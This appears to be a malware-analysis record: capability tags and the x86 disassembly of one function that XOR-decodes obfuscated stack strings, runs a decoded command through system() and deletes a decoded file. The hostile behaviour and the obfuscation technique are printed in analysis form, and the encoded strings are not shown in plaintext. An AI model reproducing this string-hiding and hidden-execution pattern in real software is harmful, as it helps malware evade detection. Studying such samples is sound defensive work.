Function at 0x4630f0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Delete file
Encode data using xor
Execute command

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dd4d3
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x120
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x3c], 0x58
mov cl, 0x31
xor cl, byte [ebp - 0x3c]
mov al, 0x36
xor al, byte [ebp - 0x3c]
mov ch, 0x35
mov byte [ebp - 0x3b], al
mov dl, 0x2a
mov byte [ebp - 0x3a], cl
mov dh, 0x3c
mov cl, byte [ebp - 0x3c]
mov ah, 0x3b
mov byte [ebp - 0x2d], 0x76
xor dl, cl
mov al, byte [ebp - 0x2d]
xor ch, cl
xor al, cl
mov byte [ebp - 0x2e], 0x3d
mov byte [ebp - 0x35], al
xor dh, cl
mov al, byte [ebp - 0x2e]
xor ah, cl
xor al, cl
mov byte [ebp - 0x2f], 0x20
mov byte [ebp - 0x34], al
xorps xmm0, xmm0
mov al, byte [ebp - 0x2f]
xor al, cl
mov byte [ebp - 0x30], 0x3d
mov byte [ebp - 0x33], al
mov al, byte [ebp - 0x30]
xor al, cl
mov byte [ebp - 0x37], ch
lea ecx, [ebp - 0x3b]
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x39], dl
mov byte [ebp - 0x36], dh
lea edx, [ecx + 1]
mov byte [ebp - 0x38], ah
mov byte [ebp - 0x32], al
mov byte [ebp - 0x31], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4631b8
sub ecx, edx
lea eax, [ebp - 0x3b]
push ecx
push eax
lea ecx, [ebp - 0x84]
call fcn.0045c380
mov dword [ebp - 4], 0
mov cl, 0xf
mov byte [ebp - 0x3c], 0x35
mov al, 0x76
xor al, byte [ebp - 0x3c]
mov ch, 0x5c
xor cl, byte [ebp - 0x3c]
mov dl, 0x69
mov byte [ebp - 0x3b], al
mov dh, 0x5b
mov byte [ebp - 0x3a], cl
mov ah, 0x62
mov cl, byte [ebp - 0x3c]
xorps xmm0, xmm0
mov byte [ebp - 0x30], 0x51
xor dl, cl
mov al, byte [ebp - 0x30]
xor ch, cl
xor al, cl
mov byte [ebp - 0x2f], 0x5a
mov byte [ebp - 0x35], al
xor dh, cl
mov al, byte [ebp - 0x2f]
xor ah, cl
xor al, cl
mov byte [ebp - 0x2e], 0x42
mov byte [ebp - 0x34], al
mov al, byte [ebp - 0x2e]
xor al, cl
mov byte [ebp - 0x2d], 0x46
mov byte [ebp - 0x33], al
mov al, byte [ebp - 0x2d]
xor al, cl
mov byte [ebp - 0x37], ch
lea ecx, [ebp - 0x3b]
mov byte [ebp - 0x31], 0
mov byte [ebp - 0x39], dl
mov byte [ebp - 0x36], dh
lea edx, [ecx + 1]
mov byte [ebp - 0x38], ah
mov byte [ebp - 0x32], al
mov byte [ebp - 0x31], 0
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463260
sub ecx, edx
lea eax, [ebp - 0x3b]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.0045c380
mov byte [ebp - 4], 1
xor ecx, ecx
movaps xmm0, xmmword [0x4ff920]
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0xd8], 0x31203b3c
movaps xmm0, xmmword [0x4ffcc0]
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0xd4], 0x377c363f
movaps xmm0, xmmword [0x500bf0]
movups xmmword [ebp - 0x108], xmm0
mov word [ebp - 0xd0], 0x372a
movaps xmm0, xmmword [0x500ca0]
movups xmmword [ebp - 0xf8], xmm0
mov byte [ebp - 0xce], 0
movaps xmm0, xmmword [0x5012a0]
movups xmmword [ebp - 0xe8], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x128]
xor byte [ebp + ecx - 0x127], al
inc ecx
cmp ecx, 0x59
jb 0x4632f0
xorps xmm0, xmm0
mov byte [ebp - 0xce], 0
lea ecx, [ebp - 0x127]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463328
sub ecx, edx
lea eax, [ebp - 0x127]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.0045c380
lea eax, [ebp - 0x84]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x6c]
call fcn.00460bc0
mov byte [ebp - 4], 1
add esp, 4
mov ecx, dword [ebp - 0x58]
cmp ecx, 0xf
jbe 0x463392
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x463388
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x463408
push ecx
push edx
call fcn.00487522
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
cmp ecx, 0xf
jbe 0x4633d8
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4633ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x463408
push ecx
push edx
call fcn.00487522
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x70]
cmp ecx, 0xf
jbe 0x463418
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46340e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x46340e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00487522
add esp, 8
movaps xmm0, xmmword [0x5009f0]
xor ecx, ecx
movups xmmword [ebp - 0x110], xmm0
movaps xmm0, xmmword [0x500c10]
movups xmmword [ebp - 0x100], xmm0
movaps xmm0, xmmword [0x500ba0]
movups xmmword [ebp - 0xf0], xmm0
movaps xmm0, xmmword [str.tf_wi____b]
movups xmmword [ebp - 0xe0], xmm0
mov al, byte [ebp - 0x110]
xor byte [ebp + ecx - 0x10f], al
inc ecx
cmp ecx, 0x3e
jb 0x463452
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0xd1], 0
call fcn.00462bd0
mov edx, eax
mov dword [ebp - 4], 3
xor ecx, ecx
movaps xmm0, xmmword [0x4ff080]
movups xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0x94], 0x43410d0d
movaps xmm0, xmmword [0x4ffff0]
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0x90], 0x343d5b22
movaps xmm0, xmmword [0x4ff3a0]
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x8c], 0x12130412
mov word [ebp - 0x88], 0x3d
mov al, byte [ebp - 0xc4]
xor byte [ebp + ecx - 0xc3], al
inc ecx
cmp ecx, 0x3c
jb 0x4634d0
push edx
lea edx, [ebp - 0xc3]
mov byte [ebp - 0x87], 0
lea ecx, [ebp - 0x84]
call fcn.0045bf50
add esp, 4
lea ecx, [ebp - 0x10f]
mov byte [ebp - 4], 4
push ecx
mov ecx, eax
call fcn.0045b9a0
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x70]
cmp ecx, 0xf
jbe 0x46357b
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x463571
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4635b6
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0xf
mov byte [ebp - 0x84], 0
cmp ecx, 0xf
jbe 0x4635c6
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4635bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4635bc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00487522
add esp, 8
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
cmova eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x500160]
add esp, 4
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x44], 0x450e444d
xor ecx, ecx
mov word [ebp - 0x40], 0x4558
mov byte [ebp - 0x3e], 0
nop dword [eax]
mov al, byte [ebp - 0x54]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0x15
jb 0x463600
lea eax, [ebp - 0x53]
mov byte [ebp - 0x3e], 0
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [ebp - 0x18]
add esp, 4
cmp ecx, 0xf
jbe 0x463654
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46364a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x46364a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00487522
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004870f9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret